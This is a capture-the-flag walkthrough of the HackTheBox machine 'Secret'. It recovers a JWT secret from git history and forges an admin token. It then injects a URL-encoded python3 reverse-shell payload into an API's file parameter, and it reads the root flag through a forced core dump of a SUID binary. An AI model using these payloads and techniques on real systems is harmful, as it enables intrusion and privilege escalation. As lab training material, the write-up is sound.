Secret - [HTB]

Cover Image for Secret - [HTB]
Marmeus
Marmeus

Introduction

Secret is an easy Linux machine from HackTheBox where the attacker will have to create its own JWT token in order to exploit an API for obtaining a reverse shell. Then, will have to force a core dump of a SUID binary to obtain the contents of the root flag.

Enumeration

As always, let's start finding all opened ports in the machine with Nmap.

kali@kali:~/Documents/HTB/Secret$ sudo nmap -v -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.120
Warning: 10.10.11.120 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.120
Host is up (0.17s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Oct 31 17:25:05 2021 -- 1 IP address (1 host up) scanned in 326.02 second

Then, we continue with a deeper scan of every opened port getting more information about each service.

kali@kali:~/Documents/HTB/Secret$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,3000 10.10.11.120
Nmap scan report for 10.10.11.120
Host is up (0.17s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Having a look at port 80 there is a web page where we can find a ton of information about an API in development.

DUMBDOCS

With the following link, we can download the API's source code, and in this other link, we can retrieve information about the API functions.

FunctionMethodURLBodyHeader
Register userPOSThttp://10.10.11.120:3000/api/user/register{"name": "", "email": "","password": "" }
Login userPOSThttp://10.10.11.120:3000/api/user/login{"email": "","password": "" }
Access Private RouteGEThttp://10.10.11.120:3000/api/privauth-token: <JWT_TOKEN>

Once the source code is downloaded, we can analyse how the API works internally

kali@kali:~/Documents/HTB/Secret/ApiSource$ wget http://10.10.11.120/download/files.zip
kali@kali:~/Documents/HTB/Secret/ApiSource$ unzip files.zip 
kali@kali:~/Documents/HTB/Secret/ApiSource$ cd local-web
kali@kali:~/Documents/HTB/Secret/ApiSource/local-web$ ls -la
total 122
drwxrwx--- 1 root vboxsf  4096 Sep  3 01:57 .
drwxrwx--- 1 root vboxsf     0 Nov  1 07:44 ..
-rwxrwx--- 1 root vboxsf    72 Sep  3 01:59 .env
drwxrwx--- 1 root vboxsf  4096 Sep  8 14:33 .git
-rwxrwx--- 1 root vboxsf   885 Sep  3 01:56 index.js
drwxrwx--- 1 root vboxsf     0 Aug 13 00:42 model
[...]
drwxrwx--- 1 root vboxsf     0 Sep  3 01:54 public
drwxrwx--- 1 root vboxsf     0 Sep  3 02:32 routes
drwxrwx--- 1 root vboxsf     0 Aug 13 00:42 src
-rwxrwx--- 1 root vboxsf   651 Aug 13 00:42 validations.js

To access the endpoint /priv, our JWT token must contain the name "theadmin", as we can see in routes/private.js.

  5 router.get('/priv', verifytoken, (req, res) => {
  6    // res.send(req.user)
  7 
  8     const userinfo = { name: req.user }
  9 
 10     const name = userinfo.name.name;
 11 
 12     if (name == 'theadmin'){
 13         res.json({
 14             creds:{
 15                 role:"admin",
 16                 username:"theadmin",
 17                 desc : "welcome back admin,"
 18             }
 19         })
 20     }

Furthermore, we require the TOKEN_SECRET that is being used at routes/verifytoken.js

  1 const jwt = require("jsonwebtoken");
  2 
  3 module.exports = function (req, res, next) {
  4     const token = req.header("auth-token");
  5     if (!token) return res.status(401).send("Access Denied");
  6 
  7     try {
  8         const verified = jwt.verify(token, process.env.TOKEN_SECRET);
  9         req.user = verified;
 10         next();
 11     } catch (err) {
 12         res.status(400).send("Invalid Token");
 13     }
 14 };

Looking at the source code commits we can see that .env was removed. But, going to the previous commit we can obtain it.

kali@kali:~/Documents/HTB/Secret/ApiSource/local-web$ git log --oneline
e297a27 (HEAD -> master) now we can view logs from server 😃
67d8da7 removed .env for security reasons
de0a46b added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit

As we can see, .env contains the TOKET_SECRET needed to craft our own JWT token.

kali@kali:/tmp/local-web$ git checkout de0a46b
Previous HEAD position was 67d8da7 removed .env for security reasons
HEAD is now at de0a46b added /downloads
kali@kali:/tmp/local-web$ git log --oneline
de0a46b (HEAD) added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit
kali@kali:/tmp/local-web$ cat .env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

Exploitation 1

In order to do so, we can use jwt.io.

image-20211101123724839

Thanks to curl we can see if that really worked.

kali@kali:~/Documents/HTB/Secret$ curl -w "\n" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo' http://10.10.11.120:3000/api/priv | jq

{
  "creds": {
    "role": "admin",
    "username": "theadmin",
    "desc": "welcome back admin"
  }
}

Exploitation 2

Looking again at the git commits we can see that there is a new feature in order to see logs. This feature is located at ./routes/private.js, where we can see that executes the git command without previous sanitation.

 32 router.get('/logs', verifytoken, (req, res) => {
 33     const file = req.query.file;
 34     const userinfo = { name: req.user }
 35     const name = userinfo.name.name;
 36 
 37     if (name == 'theadmin'){
 38         const getLogs = `git log --oneline ${file}`;
 39         exec(getLogs, (err , output) =>{
 40             if(err){
 41                 res.status(500).send(err);
 42                 return
 43             }
 44             res.json(output);
 45         })
 46     }

Because this function requires a GET method we need to pass the file name parameter through the URL.

kali@kali:~/Documents/HTB/Secret$ curl -w "\n\n" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo' http://10.10.11.120:3000/api/logs?file=id 

{
  "killed": false,
  "code": 128,
  "signal": null,
  "cmd": "git log --oneline id"
}

In order to obtain a reverse shell, we can use python3.

Note: Do not forget to change the IP.

kali@kali:~/Documents/HTB/Secret$ curl -w "\n\n" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo' http://10.10.11.120:3000/api/logs?file=%24%28python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22<IP>%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27%29

Now, we are able to obtain the user flag.

kali@kali:~/Documents/HTB/Secret$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.118] from (UNKNOWN) [10.10.15.118] 52616
$ python3 -c "import pty;pty.spawn('/bin/bash')"
dasith@secret:~/local-web$ id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
dasith@secret:~/local-web$ cat /home/dasith/user.txt 
[CENSORED]

Privilege escalation

At /opt there is a SUID binary which source code can be found at /opt/code.c.

dasith@secret:/opt$ ls -l
total 32
-rw-r--r-- 1 root root  3736 Oct  7 10:01 code.c
-rwsr-xr-x 1 root root 17824 Oct  7 10:03 count
-rw-r--r-- 1 root root  4622 Oct  7 10:04 valgrind.log

Essentially this code is an implementation of the wc command which counts the number of characters, words and lines of a file. Furthermore, core dumps are enabled so we can retrieve everything that is stored in memory during its execution like the contents of a read file.

108 int main()
109 {
110     char path[100];
111     int res;
112     struct stat path_s;
113     char summary[4096];
114 
115     printf("Enter source file/directory name: ");
116     scanf("%99s", path);
117     getchar();
118     stat(path, &path_s);
119     if(S_ISDIR(path_s.st_mode))
120         dircount(path, summary);
121     else
122         filecount(path, summary);
123 
124     // drop privs to limit file write
125     setuid(getuid());
126     // Enable coredump generation
127     prctl(PR_SET_DUMPABLE, 1);
128     printf("Save results a file? [y/N]: ");
129     res = getchar();

To do this, we need to execute the program and live it running after the file has been read.

dasith@secret:~$ /opt/count 
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: 

Then, using another reverse shell we need to kill the program execution by sending a SIGNAL ABORT.

dasith@secret:~$ kill -6 $(pidof count)

Then, in the former terminal, you will see the message "Aborted (core dumped)".

The core dump will be located at /var/crash/.

dasith@secret:~$ ls -la /var/crash/
total 88
drwxrwxrwt  2 root   root    4096 Nov  1 14:21 .
drwxr-xr-x 14 root   root    4096 Aug 13 05:12 ..
-rw-r-----  1 dasith dasith 28147 Nov  1 14:21 _opt_count.1000.crash

Finally, in order to obtain the contents of the root flag, we need to execute the following commands.

dasith@secret:~$ mkdir /tmp/crash
dasith@secret:~$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash
dasith@secret:~$ strings -n 10 /tmp/crash/CoreDump | grep -A1 root
/root/root.txt
[CENSORED]